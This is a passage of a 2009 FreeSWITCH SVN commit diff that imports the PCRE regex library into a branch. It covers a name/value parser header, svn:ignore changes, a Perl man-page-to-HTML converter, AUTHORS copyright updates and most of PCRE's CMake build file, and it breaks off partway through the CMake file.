+extern "C" {
+#endif
+
+struct NameValue {
+    LIST_ENTRY(NameValue) entries;
+    char name[64];
+    char value[64];
+};
+
+struct NameValueParserData {
+    LIST_HEAD(listhead, NameValue) head;
+    char curelt[64];
+};
+
+/* ParseNameValue() */
+void
+ParseNameValue(const char * buffer, int bufsize,
+               struct NameValueParserData * data);
+
+/* ClearNameValueList() */
+void
+ClearNameValueList(struct NameValueParserData * pdata);
+
+/* GetValueFromNameValueList() */
+char *
+GetValueFromNameValueList(struct NameValueParserData * pdata,
+                          const char * Name);
+
+/* GetValueFromNameValueListIgnoreNS() */
+char *
+GetValueFromNameValueListIgnoreNS(struct NameValueParserData * pdata,
+                                  const char * Name);
+
+/* DisplayNameValueList() */
+#ifdef DEBUG
+void
+DisplayNameValueList(char * buffer, int bufsize);
+#endif
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
+

Property changes: freeswitch/branches/seven/libs/pcre


Name: svn:ignore
   - autom4te.cache
*.bak
configure
pcre-config
pcregrep
pcre_stringpiece.h
pcrecpparg.h
config.status
config.log
libpcre.pc
RunGrepTest
pcre_stringpiece_unittest
pcretest
config.h
pcrecpp_unittest
pcre_chartables.c
RunTest
Makefile
dftables
libtool
.complete
.libs
pcre_scanner_unittest
ltmain.sh
config.guess
aclocal.m4
config.sub
   + autom4te.cache
*.bak
configure
pcre-config
pcregrep
pcre_stringpiece.h
pcrecpparg.h
config.status
config.log
libpcre.pc
pcre_stringpiece_unittest
pcretest
config.h
pcrecpp_unittest
pcre_chartables.c
Makefile
dftables
libtool
.complete
.libs
pcre_scanner_unittest
ltmain.sh
config.guess
aclocal.m4
config.sub
install-sh
missing
Makefile.in
.deps
config.h.in
libpcrecpp.pc
stamp-h1
configure.lineno

Modified: freeswitch/branches/seven/libs/pcre/.update (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/.update	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/.update	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1 +1 @@
-Fri Mar 16 17:18:44 EDT 2007
+Mon Jun  8 19:51:53 EDT 2009

Copied: freeswitch/branches/seven/libs/pcre/132html (from rev 14471, freeswitch/trunk/libs/pcre/132html) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/132html	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/132html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,296 @@
+#! /usr/bin/perl -w
+
+# Script to turn PCRE man pages into HTML
+
+
+# Subroutine to handle font changes and other escapes
+
+sub do_line {
+my($s) = $_[0];
+
+$s =~ s/</&#60;/g;                   # Deal with < and >
+$s =~ s/>/&#62;/g;
+$s =~ s"\\fI(.*?)\\f[RP]"<i>$1</i>"g;
+$s =~ s"\\fB(.*?)\\f[RP]"<b>$1</b>"g;
+$s =~ s"\\e"\\"g;
+$s =~ s/(?<=Copyright )\(c\)/&copy;/g;
+$s;
+}
+
+# Subroutine to ensure not in a paragraph
+
+sub end_para {
+if ($inpara)
+  {
+  print TEMP "</PRE>\n" if ($inpre);
+  print TEMP "</P>\n";
+  }
+$inpara = $inpre = 0;
+$wrotetext = 0;
+}
+
+# Subroutine to start a new paragraph
+
+sub new_para {
+&end_para();
+print TEMP "<P>\n";
+$inpara = 1;
+}
+
+
+# Main program
+
+$innf = 0;
+$inpara = 0;
+$inpre = 0;
+$wrotetext = 0;
+$toc = 0;
+$ref = 1;
+
+while ($#ARGV >= 0 && $ARGV[0] =~ /^-/)
+  {
+  $toc = 1 if $ARGV[0] eq "-toc";
+  shift;
+  }
+
+# Initial output to STDOUT
+
+print <<End ;
+<html>
+<head>
+<title>$ARGV[0] specification</title>
+</head>
+<body bgcolor="#FFFFFF" text="#00005A" link="#0066FF" alink="#3399FF" vlink="#2222BB">
+<h1>$ARGV[0] man page</h1>
+<p>
+Return to the <a href="index.html">PCRE index page</a>.
+</p>
+<p>
+This page is part of the PCRE HTML documentation. It was generated automatically
+from the original man page. If there is any nonsense in it, please consult the
+man page, in case the conversion went wrong.
+<br>
+End
+
+print "<ul>\n" if ($toc);
+
+open(TEMP, ">/tmp/$$") || die "Can't open /tmp/$$ for output\n";
+
+while (<STDIN>)
+  {
+  # Handle lines beginning with a dot
+
+  if (/^\./)
+    {
+    # Some of the PCRE man pages used to contain instances of .br. However,
+    # they should have all been removed because they cause trouble in some
+    # (other) automated systems that translate man pages to HTML. Complain if
+    # we find .br or .in (another macro that is deprecated).
+
+    if (/^\.br/ || /^\.in/)
+      {
+      print STDERR "\n*** Deprecated macro encountered - rewrite needed\n";
+      print STDERR "*** $_\n";
+      die "*** Processing abandoned\n";
+      }
+
+    # Instead of .br, relevent "literal" sections are enclosed in .nf/.fi.
+
+    elsif (/^\.nf/)
+      {
+      $innf = 1;
+      }
+
+    elsif (/^\.fi/)
+      {
+      $innf = 0;
+      }
+
+    # Handling .sp is subtle. If it is inside a literal section, do nothing if
+    # the next line is a non literal text line; similarly, if not inside a
+    # literal section, do nothing if a literal follows. The point being that
+    # the <pre> and </pre> that delimit literal sections will do the spacing.
+    # Always skip if no previous output.
+
+    elsif (/^\.sp/)
+      {
+      if ($wrotetext)
+        {
+        $_ = <STDIN>;
+        if ($inpre)
+          {
+          print TEMP "\n" if (/^[\s.]/);
+          }
+        else
+          {
+          print TEMP "<br>\n<br>\n" if (!/^[\s.]/);
+          }
+        redo;    # Now process the lookahead line we just read
+        }
+      }
+    elsif (/^\.TP/ || /^\.PP/ || /^\.P/)
+      {
+      &new_para();
+      }
+    elsif (/^\.SH\s*("?)(.*)\1/)
+      {
+      # Ignore the NAME section
+      if ($2 =~ /^NAME\b/)
+        {
+        <STDIN>;
+        next;
+        }
+
+      &end_para();
+      my($title) = &do_line($2);
+      if ($toc)
+        {
+        printf("<li><a name=\"TOC%d\" href=\"#SEC%d\">$title</a>\n",
+          $ref, $ref);
+        printf TEMP ("<br><a name=\"SEC%d\" href=\"#TOC1\">$title</a><br>\n",
+          $ref, $ref);
+        $ref++;
+        }
+      else
+        {
+        print TEMP "<br><b>\n$title\n</b><br>\n";
+        }
+      }
+    elsif (/^\.SS\s*("?)(.*)\1/)
+      {
+      &end_para();
+      my($title) = &do_line($2);
+      print TEMP "<br><b>\n$title\n</b><br>\n";
+      }
+    elsif (/^\.B\s*(.*)/)
+      {
+      &new_para() if (!$inpara);
+      $_ = &do_line($1);
+      s/"(.*?)"/$1/g;
+      print TEMP "<b>$_</b>\n";
+      $wrotetext = 1;
+      }
+    elsif (/^\.I\s*(.*)/)
+      {
+      &new_para() if (!$inpara);
+      $_ = &do_line($1);
+      s/"(.*?)"/$1/g;
+      print TEMP "<i>$_</i>\n";
+      $wrotetext = 1;
+      }
+
+    # A comment that starts "HREF" takes the next line as a name that
+    # is turned into a hyperlink, using the text given, which might be
+    # in a special font. If it ends in () or (digits) or punctuation, they
+    # aren't part of the link.
+
+    elsif (/^\.\\"\s*HREF/)
+      {
+      $_=<STDIN>;
+      chomp;
+      $_ = &do_line($_);
+      $_ =~ s/\s+$//;
+      $_ =~ /^(?:<.>)?([^<(]+)(?:\(\))?(?:<\/.>)?(?:\(\d+\))?[.,;:]?$/;
+      print TEMP "<a href=\"$1.html\">$_</a>\n";
+      }
+
+    # A comment that starts "HTML" inserts literal HTML
+
+    elsif (/^\.\\"\s*HTML\s*(.*)/)
+      {
+      print TEMP $1;
+      }
+
+    # A comment that starts < inserts that HTML at the end of the
+    # *next* input line - so as not to get a newline between them.
+
+    elsif (/^\.\\"\s*(<.*>)/)
+      {
+      my($markup) = $1;
+      $_=<STDIN>;
+      chomp;
+      $_ = &do_line($_);
+      $_ =~ s/\s+$//;
+      print TEMP "$_$markup\n";
+      }
+
+    # A comment that starts JOIN joins the next two lines together, with one
+    # space between them. Then that line is processed. This is used in some
+    # displays where two lines are needed for the "man" version. JOINSH works
+    # the same, except that it assumes this is a shell command, so removes
+    # continuation backslashes.
+
+    elsif (/^\.\\"\s*JOIN(SH)?/)
+      {
+      my($one,$two);
+      $one = <STDIN>;
+      $two = <STDIN>;
+      $one =~ s/\s*\\e\s*$// if (defined($1));
+      chomp($one);
+      $two =~ s/^\s+//;
+      $_ = "$one $two";
+      redo;            # Process the joined lines
+      }
+
+    # Ignore anything not recognized
+
+    next;
+    }
+
+  # Line does not begin with a dot. Replace blank lines with new paragraphs
+
+  if (/^\s*$/)
+    {
+    &end_para() if ($wrotetext);
+    next;
+    }
+
+  # Convert fonts changes and output an ordinary line. Ensure that indented
+  # lines are marked as literal.
+
+  $_ = &do_line($_);
+  &new_para() if (!$inpara);
+
+  if (/^\s/)
+    {
+    if (!$inpre)
+      {
+      print TEMP "<pre>\n";
+      $inpre = 1;
+      }
+    }
+  elsif ($inpre)
+    {
+    print TEMP "</pre>\n";
+    $inpre = 0;
+    }
+
+  # Add <br> to the end of a non-literal line if we are within .nf/.fi
+
+  $_ .= "<br>\n" if (!$inpre && $innf);
+
+  print TEMP;
+  $wrotetext = 1;
+  }
+
+# The TOC, if present, will have been written - terminate it
+
+print "</ul>\n" if ($toc);
+
+# Copy the remainder to the standard output
+
+close(TEMP);
+open(TEMP, "/tmp/$$") || die "Can't open /tmp/$$ for input\n";
+
+print while (<TEMP>);
+
+print <<End ;
+<p>
+Return to the <a href="index.html">PCRE index page</a>.
+</p>
+End
+
+close(TEMP);
+unlink("/tmp/$$");
+
+# End

Modified: freeswitch/branches/seven/libs/pcre/AUTHORS (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/AUTHORS	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/AUTHORS	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,9 +6,9 @@
 Email domain:     cam.ac.uk
 
 University of Cambridge Computing Service,
-Cambridge, England. Phone: +44 1223 334714.
+Cambridge, England.
 
-Copyright (c) 1997-2006 University of Cambridge
+Copyright (c) 1997-2009 University of Cambridge
 All rights reserved
 
 
@@ -17,7 +17,7 @@
 
 Written by:       Google Inc.
 
-Copyright (c) 2006 Google Inc
+Copyright (c) 2007-2008 Google Inc
 All rights reserved
 
 ####

Copied: freeswitch/branches/seven/libs/pcre/CMakeLists.txt (from rev 14471, freeswitch/trunk/libs/pcre/CMakeLists.txt) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/CMakeLists.txt	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/CMakeLists.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,578 @@
+# CMakeLists.txt
+#
+#
+# This file allows building PCRE with the CMake configuration and build
+# tool. Download CMake in source or binary form from http://www.cmake.org/
+#
+# Original listfile by Christian Ehrlicher <Ch.Ehrlicher@gmx.de>
+# Refined and expanded by Daniel Richard G. <skunk@iSKUNK.ORG>
+# 2007-09-14 mod by Sheri so 7.4 supported configuration options can be entered
+# 2007-09-19 Adjusted by PH to retain previous default settings
+# 2007-12-26 (a) On UNIX, use names libpcre instead of just pcre
+#            (b) Ensure pcretest and pcregrep link with the local library,
+#                not a previously-installed one.
+#            (c) Add PCRE_SUPPORT_LIBREADLINE, PCRE_SUPPORT_LIBZ, and
+#                PCRE_SUPPORT_LIBBZ2.
+# 2008-01-20 Brought up to date to include several new features by Christian
+#            Ehrlicher.
+# 2008-01-22 Sheri added options for backward compatibility of library names
+#            when building with minGW:
+#            if "ON", NON_STANDARD_LIB_PREFIX causes shared libraries to
+#            be built without "lib" as prefix. (The libraries will be named
+#            pcre.dll, pcreposix.dll and pcrecpp.dll).
+#            if "ON", NON_STANDARD_LIB_SUFFIX causes shared libraries to
+#            be built with suffix of "-0.dll". (The libraries will be named
+#            libpcre-0.dll, libpcreposix-0.dll and libpcrecpp-0.dll - same names
+#            built by default with Configure and Make.
+# 2008-01-23 PH removed the automatic build of pcredemo.
+# 2008-04-22 PH modified READLINE support so it finds NCURSES when needed.
+# 2008-07-03 PH updated for revised UCP property support (change of files)
+# 2009-03-23 PH applied Steven Van Ingelgem's patch to change the name
+#            CMAKE_BINARY_DIR to PROJECT_BINARY_DIR so that it works when PCRE
+#            is included within another project.
+# 2009-03-23 PH applied a modified version of Steven Van Ingelgem's patches to
+#            add options to stop the building of pcregrep and the tests, and
+#            to disable the final configuration report.
+# 2009-04-11 PH applied Christian Ehrlicher's patch to show compiler flags that
+#            are set by specifying a release type.
+
+PROJECT(PCRE C CXX)
+
+CMAKE_MINIMUM_REQUIRED(VERSION 2.4.6)
+
+SET(CMAKE_MODULE_PATH ${PROJECT_SOURCE_DIR}/cmake) # for FindReadline.cmake
+
+# external packages
+FIND_PACKAGE( BZip2 )
+FIND_PACKAGE( ZLIB )
+FIND_PACKAGE( Readline )
+
+# Configuration checks
+
+INCLUDE(CheckIncludeFile)
+INCLUDE(CheckIncludeFileCXX)
+INCLUDE(CheckFunctionExists)
+INCLUDE(CheckTypeSize)
+
+CHECK_INCLUDE_FILE(dirent.h     HAVE_DIRENT_H)
+CHECK_INCLUDE_FILE(sys/stat.h   HAVE_SYS_STAT_H)
+CHECK_INCLUDE_FILE(sys/types.h  HAVE_SYS_TYPES_H)
+CHECK_INCLUDE_FILE(unistd.h     HAVE_UNISTD_H)
+CHECK_INCLUDE_FILE(windows.h    HAVE_WINDOWS_H)
+
+CHECK_INCLUDE_FILE_CXX(type_traits.h            HAVE_TYPE_TRAITS_H)
+CHECK_INCLUDE_FILE_CXX(bits/type_traits.h       HAVE_BITS_TYPE_TRAITS_H)
+
+CHECK_FUNCTION_EXISTS(bcopy     HAVE_BCOPY)
+CHECK_FUNCTION_EXISTS(memmove   HAVE_MEMMOVE)
+CHECK_FUNCTION_EXISTS(strerror  HAVE_STRERROR)
+CHECK_FUNCTION_EXISTS(strtoll   HAVE_STRTOLL)
+CHECK_FUNCTION_EXISTS(strtoq    HAVE_STRTOQ)
+CHECK_FUNCTION_EXISTS(_strtoi64 HAVE__STRTOI64)
+
+CHECK_TYPE_SIZE("long long"             LONG_LONG)
+CHECK_TYPE_SIZE("unsigned long long"    UNSIGNED_LONG_LONG)
+
+# User-configurable options
+#
+# (Note: CMakeSetup displays these in alphabetical order, regardless of
+# the order we use here)
+
+SET(BUILD_SHARED_LIBS OFF CACHE BOOL
+    "Build shared libraries instead of static ones.")
+
+OPTION(PCRE_BUILD_PCRECPP "Build the PCRE C++ library (pcrecpp)." ON)
+
+SET(PCRE_EBCDIC OFF CACHE BOOL
+    "Use EBCDIC coding instead of ASCII. (This is rarely used outside of mainframe systems)")
+
+SET(PCRE_LINK_SIZE "2" CACHE STRING
+    "Internal link size (2, 3 or 4 allowed). See LINK_SIZE in config.h.in for details.")
+
+SET(PCRE_MATCH_LIMIT "10000000" CACHE STRING
+    "Default limit on internal looping. See MATCH_LIMIT in config.h.in for details.")
+
+SET(PCRE_MATCH_LIMIT_RECURSION "MATCH_LIMIT" CACHE STRING
+    "Default limit on internal recursion. See MATCH_LIMIT_RECURSION in config.h.in for details.")
+
+SET(PCRE_NEWLINE "LF" CACHE STRING
+    "What to recognize as a newline (one of CR, LF, CRLF, ANY, ANYCRLF).")
+
+SET(PCRE_NO_RECURSE OFF CACHE BOOL
+    "If ON, then don't use stack recursion when matching. See NO_RECURSE in config.h.in for details.")
+
+SET(PCRE_POSIX_MALLOC_THRESHOLD "10" CACHE STRING
+    "Threshold for malloc() usage. See POSIX_MALLOC_THRESHOLD in config.h.in for details.")
+
+SET(PCRE_SUPPORT_UNICODE_PROPERTIES OFF CACHE BOOL
+    "Enable support for Unicode properties. (If set, UTF-8 support will be enabled as well)")
+
+SET(PCRE_SUPPORT_UTF8 OFF CACHE BOOL
+    "Enable support for the Unicode UTF-8 encoding.")
+
+SET(PCRE_SUPPORT_BSR_ANYCRLF OFF CACHE BOOL
+    "ON=Backslash-R matches only LF CR and CRLF, OFF=Backslash-R matches all Unicode Linebreaks")
+
+OPTION(PCRE_SHOW_REPORT    "Show the final configuration report" ON)
+OPTION(PCRE_BUILD_PCREGREP "Build pcregrep" ON)
+OPTION(PCRE_BUILD_TESTS    "Build the tests" ON)
+
+IF (PCRE_BUILD_TESTS)
+  IF (NOT PCRE_BUILD_PCREGREP)
+    MESSAGE(STATUS "** Building tests requires pcregrep: PCRE_BUILD_PCREGREP forced ON")
+    SET(PCRE_BUILD_PCREGREP ON)
+  ENDIF(NOT PCRE_BUILD_PCREGREP)
+ENDIF(PCRE_BUILD_TESTS)
+
+IF (MINGW)
+  OPTION(NON_STANDARD_LIB_PREFIX
+         "ON=Shared libraries built in mingw will be named pcre.dll, etc., instead of libpcre.dll, etc."
+         OFF)
+
+  OPTION(NON_STANDARD_LIB_SUFFIX
+         "ON=Shared libraries built in mingw will be named libpcre-0.dll, etc., instead of libpcre.dll, etc."
+         OFF)
+ENDIF(MINGW)
+
+# bzip2 lib
+IF(BZIP2_FOUND)
+  OPTION (PCRE_SUPPORT_LIBBZ2 "Enable support for linking pcregrep with libbz2." ON)
+ENDIF(BZIP2_FOUND)
+IF(PCRE_SUPPORT_LIBBZ2)
+  INCLUDE_DIRECTORIES(${BZIP2_INCLUDE_DIR})
+ENDIF(PCRE_SUPPORT_LIBBZ2)
+
+# zlib
+IF(ZLIB_FOUND)
+  OPTION (PCRE_SUPPORT_LIBZ "Enable support for linking pcregrep with libz." ON)
+ENDIF(ZLIB_FOUND)
+IF(PCRE_SUPPORT_LIBZ)
+  INCLUDE_DIRECTORIES(${ZLIB_INCLUDE_DIR})
+ENDIF(PCRE_SUPPORT_LIBZ)
+
+# readline lib
+IF(READLINE_FOUND)
+  OPTION (PCRE_SUPPORT_LIBREADLINE  "Enable support for linking pcretest with libreadline." ON)
+ENDIF(READLINE_FOUND)
+IF(PCRE_SUPPORT_LIBREADLINE)
+  INCLUDE_DIRECTORIES(${READLINE_INCLUDE_DIR})
+ENDIF(PCRE_SUPPORT_LIBREADLINE)
+
+# Prepare build configuration
+
+SET(pcre_have_type_traits 0)
+SET(pcre_have_bits_type_traits 0)
+
+IF(HAVE_TYPE_TRAITS_H)
+        SET(pcre_have_type_traits 1)
+ENDIF(HAVE_TYPE_TRAITS_H)
+
+IF(HAVE_BITS_TYPE_TRAITS_H)
+        SET(pcre_have_bits_type_traits 1)
+ENDIF(HAVE_BITS_TYPE_TRAITS_H)
+
+SET(pcre_have_long_long 0)
+SET(pcre_have_ulong_long 0)
+
+IF(HAVE_LONG_LONG)
+        SET(pcre_have_long_long 1)
+ENDIF(HAVE_LONG_LONG)
+
+IF(HAVE_UNSIGNED_LONG_LONG)
+        SET(pcre_have_ulong_long 1)
+ENDIF(HAVE_UNSIGNED_LONG_LONG)
+
+IF(NOT BUILD_SHARED_LIBS)
+        SET(PCRE_STATIC 1)
+ENDIF(NOT BUILD_SHARED_LIBS)
+
+IF(PCRE_SUPPORT_BSR_ANYCRLF)
+        SET(BSR_ANYCRLF 1)
+ENDIF(PCRE_SUPPORT_BSR_ANYCRLF)
+
+IF(PCRE_SUPPORT_UTF8 OR PCRE_SUPPORT_UNICODE_PROPERTIES)
+        SET(SUPPORT_UTF8 1)
+ENDIF(PCRE_SUPPORT_UTF8 OR PCRE_SUPPORT_UNICODE_PROPERTIES)
+
+IF(PCRE_SUPPORT_UNICODE_PROPERTIES)
+        SET(SUPPORT_UCP 1)
+ENDIF(PCRE_SUPPORT_UNICODE_PROPERTIES)
+
+# This next one used to contain
+#       SET(PCRETEST_LIBS ${READLINE_LIBRARY})
+# but I was advised to add the NCURSES test as well, along with
+# some modifications to cmake/FindReadline.cmake which should
+# make it possible to override the default if necessary. PH
+
+IF(PCRE_SUPPORT_LIBREADLINE)
+        SET(SUPPORT_LIBREADLINE 1)
+        SET(PCRETEST_LIBS ${READLINE_LIBRARY} ${NCURSES_LIBRARY})
+ENDIF(PCRE_SUPPORT_LIBREADLINE)
+
+IF(PCRE_SUPPORT_LIBZ)
+        SET(SUPPORT_LIBZ 1)
+        SET(PCREGREP_LIBS ${PCREGREP_LIBS} ${ZLIB_LIBRARIES})
+ENDIF(PCRE_SUPPORT_LIBZ)
+
+IF(PCRE_SUPPORT_LIBBZ2)
+        SET(SUPPORT_LIBBZ2 1)
+        SET(PCREGREP_LIBS ${PCREGREP_LIBS} ${BZIP2_LIBRARIES})
+ENDIF(PCRE_SUPPORT_LIBBZ2)
+
+SET(NEWLINE "")
+
+IF(PCRE_NEWLINE STREQUAL "LF")
+        SET(NEWLINE "10")
+ENDIF(PCRE_NEWLINE STREQUAL "LF")
+IF(PCRE_NEWLINE STREQUAL "CR")
+        SET(NEWLINE "13")
+ENDIF(PCRE_NEWLINE STREQUAL "CR")
+IF(PCRE_NEWLINE STREQUAL "CRLF")
+        SET(NEWLINE "3338")
+ENDIF(PCRE_NEWLINE STREQUAL "CRLF")
+IF(PCRE_NEWLINE STREQUAL "ANY")
+        SET(NEWLINE "-1")
+ENDIF(PCRE_NEWLINE STREQUAL "ANY")
+IF(PCRE_NEWLINE STREQUAL "ANYCRLF")
+        SET(NEWLINE "-2")
+ENDIF(PCRE_NEWLINE STREQUAL "ANYCRLF")
+
+IF(NEWLINE STREQUAL "")
+        MESSAGE(FATAL_ERROR "The PCRE_NEWLINE variable must be set to one of the following values: \"LF\", \"CR\", \"CRLF\", \"ANY\", \"ANYCRLF\".")
+ENDIF(NEWLINE STREQUAL "")
+
+IF(PCRE_EBCDIC)
+        SET(EBCDIC 1)
+ENDIF(PCRE_EBCDIC)
+
+IF(PCRE_NO_RECURSE)
+        SET(NO_RECURSE 1)
+ENDIF(PCRE_NO_RECURSE)
+
+# Output files
+CONFIGURE_FILE(config-cmake.h.in
+               ${PROJECT_BINARY_DIR}/config.h
+               @ONLY)
+
+CONFIGURE_FILE(pcre.h.generic
+               ${PROJECT_BINARY_DIR}/pcre.h
+               COPYONLY)
+
+# What about pcre-config and libpcre.pc?
+
+IF(PCRE_BUILD_PCRECPP)
+        CONFIGURE_FILE(pcre_stringpiece.h.in
+                       ${PROJECT_BINARY_DIR}/pcre_stringpiece.h
+                       @ONLY)
+
+        CONFIGURE_FILE(pcrecpparg.h.in
+                       ${PROJECT_BINARY_DIR}/pcrecpparg.h
+                       @ONLY)
+ENDIF(PCRE_BUILD_PCRECPP)
+
+# Character table generation
+
+OPTION(PCRE_REBUILD_CHARTABLES "Rebuild char tables" OFF)
+IF(PCRE_REBUILD_CHARTABLES)
+  ADD_EXECUTABLE(dftables dftables.c)
+
+  GET_TARGET_PROPERTY(DFTABLES_EXE dftables LOCATION)
+
+  ADD_CUSTOM_COMMAND(
+    COMMENT "Generating character tables (pcre_chartables.c) for current locale"
+    DEPENDS dftables
+    COMMAND ${DFTABLES_EXE}
+    ARGS        ${PROJECT_BINARY_DIR}/pcre_chartables.c
+    OUTPUT      ${PROJECT_BINARY_DIR}/pcre_chartables.c
+  )
+ELSE(PCRE_REBUILD_CHARTABLES)
+  CONFIGURE_FILE(${PROJECT_SOURCE_DIR}/pcre_chartables.c.dist
+                    ${PROJECT_BINARY_DIR}/pcre_chartables.c
+                    COPYONLY)
+ENDIF(PCRE_REBUILD_CHARTABLES)
+
+# Source code
+
+SET(PCRE_HEADERS ${PROJECT_BINARY_DIR}/pcre.h)
+
+SET(PCRE_SOURCES
+  ${PROJECT_BINARY_DIR}/pcre_chartables.c
+  pcre_compile.c
+  pcre_config.c
+  pcre_dfa_exec.c
+  pcre_exec.c
+  pcre_fullinfo.c
+  pcre_get.c
+  pcre_globals.c
+  pcre_info.c
+  pcre_newline.c
+  pcre_maketables.c
+  pcre_ord2utf8.c
+  pcre_refcount.c
+  pcre_study.c
+  pcre_tables.c
+  pcre_try_flipped.c
+  pcre_ucd.c
+  pcre_valid_utf8.c
+  pcre_version.c
+  pcre_xclass.c
+)
+
+SET(PCREPOSIX_HEADERS pcreposix.h)
+
+SET(PCREPOSIX_SOURCES pcreposix.c)
+
+SET(PCRECPP_HEADERS
+  pcrecpp.h
+  pcre_scanner.h
+  ${PROJECT_BINARY_DIR}/pcrecpparg.h
+  ${PROJECT_BINARY_DIR}/pcre_stringpiece.h
+)
+
+SET(PCRECPP_SOURCES
+        pcrecpp.cc
+        pcre_scanner.cc
+        pcre_stringpiece.cc
+)
+
+# Build setup
+
+ADD_DEFINITIONS(-DHAVE_CONFIG_H)
+
+IF(MSVC)
+        ADD_DEFINITIONS(-D_CRT_SECURE_NO_DEPRECATE)
+ENDIF(MSVC)
+
+SET(CMAKE_INCLUDE_CURRENT_DIR 1)
+# needed to make sure to not link debug libs
+# against release libs and vice versa
+IF(WIN32)
+  SET(CMAKE_DEBUG_POSTFIX "d")
+ENDIF(WIN32)
+
+SET(targets)
+
+# Libraries
+# pcre
+ADD_LIBRARY(pcre ${PCRE_HEADERS} ${PCRE_SOURCES} ${PROJECT_BINARY_DIR}/config.h)
+SET(targets ${targets} pcre)
+ADD_LIBRARY(pcreposix ${PCREPOSIX_HEADERS} ${PCREPOSIX_SOURCES})
+SET(targets ${targets} pcreposix)
+TARGET_LINK_LIBRARIES(pcreposix pcre)
+IF(MINGW AND NOT PCRE_STATIC)
+  IF(NON_STANDARD_LIB_PREFIX)
+    SET_TARGET_PROPERTIES(pcre pcreposix
+                        PROPERTIES PREFIX ""
+    )
+  ENDIF(NON_STANDARD_LIB_PREFIX)
+
+  IF(NON_STANDARD_LIB_SUFFIX)
+    SET_TARGET_PROPERTIES(pcre pcreposix
+                        PROPERTIES SUFFIX "-0.dll"
+    )
+  ENDIF(NON_STANDARD_LIB_SUFFIX)
+ENDIF(MINGW AND NOT PCRE_STATIC)
+
+
+# pcrecpp
+IF(PCRE_BUILD_PCRECPP)
+  ADD_LIBRARY(pcrecpp ${PCRECPP_HEADERS} ${PCRECPP_SOURCES})
+SET(targets ${targets} pcrecpp)
+  TARGET_LINK_LIBRARIES(pcrecpp pcre)
+
+  IF(MINGW AND NOT PCRE_STATIC)
+    IF(NON_STANDARD_LIB_PREFIX)
+      SET_TARGET_PROPERTIES(pcrecpp
+                            PROPERTIES PREFIX ""
+      )
+    ENDIF(NON_STANDARD_LIB_PREFIX)
+
+    IF(NON_STANDARD_LIB_SUFFIX)
+      SET_TARGET_PROPERTIES(pcrecpp
+                          PROPERTIES SUFFIX "-0.dll"
+      )
+    ENDIF(NON_STANDARD_LIB_SUFFIX)
+  ENDIF(MINGW AND NOT PCRE_STATIC)
+ENDIF(PCRE_BUILD_PCRECPP)
+
+
+# Executables
+
+# Removed by PH (2008-01-23) because pcredemo shouldn't really be built
+# automatically, and it gave trouble in some environments anyway.
+# ADD_EXECUTABLE(pcredemo pcredemo.c)
+# TARGET_LINK_LIBRARIES(pcredemo pcreposix)
+# IF(NOT BUILD_SHARED_LIBS)
+#     # make sure to not use declspec(dllimport) in static mode on windows
+#         SET_TARGET_PROPERTIES(pcredemo PROPERTIES COMPILE_FLAGS "-DPCRE_STATIC")
+# ENDIF(NOT BUILD_SHARED_LIBS)
+
+IF(PCRE_BUILD_PCREGREP)
+  ADD_EXECUTABLE(pcregrep pcregrep.c)
+  SET(targets ${targets} pcregrep)
+  TARGET_LINK_LIBRARIES(pcregrep pcreposix ${PCREGREP_LIBS})
+ENDIF(PCRE_BUILD_PCREGREP)
+
+
+# Testing
+IF(PCRE_BUILD_TESTS)
+  ENABLE_TESTING()
+
+  ADD_EXECUTABLE(pcretest pcretest.c)
+  SET(targets ${targets} pcretest)
+  TARGET_LINK_LIBRARIES(pcretest pcreposix ${PCRETEST_LIBS})
+
+  IF(PCRE_BUILD_PCRECPP)
+    ADD_EXECUTABLE(pcrecpp_unittest pcrecpp_unittest.cc)
+    SET(targets ${targets} pcrecpp_unittest)
+    TARGET_LINK_LIBRARIES(pcrecpp_unittest pcrecpp)
+    IF(MINGW AND NON_STANDARD_LIB_NAMES AND NOT PCRE_STATIC)
+      SET_TARGET_PROPERTIES(pcrecpp
+                        PROPERTIES PREFIX ""
+      )
+    ENDIF(MINGW AND NON_STANDARD_LIB_NAMES AND NOT PCRE_STATIC)
+
+
+    ADD_EXECUTABLE(pcre_scanner_unittest pcre_scanner_unittest.cc)
+    SET(targets ${targets} pcre_scanner_unittest)
+    TARGET_LINK_LIBRARIES(pcre_scanner_unittest pcrecpp)
+
+    ADD_EXECUTABLE(pcre_stringpiece_unittest pcre_stringpiece_unittest.cc)
+    SET(targets ${targets} pcre_stringpiece_unittest)
+    TARGET_LINK_LIBRARIES(pcre_stringpiece_unittest pcrecpp)
+  ENDIF(PCRE_BUILD_PCRECPP)
+
+  GET_TARGET_PROPERTY(PCREGREP_EXE pcregrep DEBUG_LOCATION)
+  GET_TARGET_PROPERTY(PCRETEST_EXE pcretest DEBUG_LOCATION)
+
+  # Write out a CTest configuration file that sets some needed environment
+  # variables for the test scripts.
+  #
+  FILE(WRITE ${PROJECT_BINARY_DIR}/CTestCustom.ctest
+  "# This is a generated file.
+  SET(ENV{srcdir} ${PROJECT_SOURCE_DIR})
+  SET(ENV{pcregrep} ${PCREGREP_EXE})
+  SET(ENV{pcretest} ${PCRETEST_EXE})
+  ")
+
+  IF(UNIX)
+          ADD_TEST(pcre_test      ${PROJECT_SOURCE_DIR}/RunTest)
+          ADD_TEST(pcre_grep_test ${PROJECT_SOURCE_DIR}/RunGrepTest)
+  ENDIF(UNIX)
+  IF(WIN32)
+          ADD_TEST(pcre_test cmd /C ${PROJECT_SOURCE_DIR}/RunTest.bat)
+  ENDIF(WIN32)
+
+  GET_TARGET_PROPERTY(PCRECPP_UNITTEST_EXE
+                      pcrecpp_unittest
+                      DEBUG_LOCATION)
+
+  GET_TARGET_PROPERTY(PCRE_SCANNER_UNITTEST_EXE
+                      pcre_scanner_unittest
+                      DEBUG_LOCATION)
+
+  GET_TARGET_PROPERTY(PCRE_STRINGPIECE_UNITTEST_EXE
+                      pcre_stringpiece_unittest
